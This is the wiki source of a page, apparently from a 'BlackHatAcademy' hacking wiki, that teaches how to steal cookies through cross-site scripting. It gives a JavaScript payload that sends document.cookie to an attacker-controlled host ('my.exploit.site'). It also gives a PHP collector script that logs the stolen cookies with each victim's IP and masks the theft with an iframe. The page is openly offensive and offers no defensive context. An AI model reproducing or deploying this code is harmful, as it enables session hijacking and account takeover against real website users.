View source for Cookies/Attacks/Stealing Cookies Through XSS

{{quote|Remember that stealing cookies will make your friends or the grocery shop owner angry!|Savitri}}

Change the current page to another location you control, using the document.cookie as parameter. Ideally make it as smooth as possible. Best option is to contaminate an iframe, and to recurse the iframe to its original contents.
{{code | text=<syntaxhighlight lang="javascript">
location.href = "http://my.exploit.site/steal.php?originalURL="+encodeURIComponent(location.href)+"&cookies="+encodeURIComponent(document.cookie);
</syntaxhighlight>}}


steal.php should be something like 
{{code | text=<syntaxhighlight lang="php">
<?php
/* (c) 2011 BlackHatAcademy */
$data = urldecode($_GET['cookies']);
file_put_contents("stolen_cookies.txt", "<IP>".$_SERVER['REMOTE_ADDR']."</IP><DATA><![CDATA[".$data."]]></DATA>", FILE_APPEND);
echo '<html><body><iframe src="'.urldecode($_GET['originalURL']).'"></iframe></body></html>';
die('');
?>
</syntaxhighlight>}}

{{quote|This is untested. Feel free to provide a sample implementation or anything more refined.|Savitri}}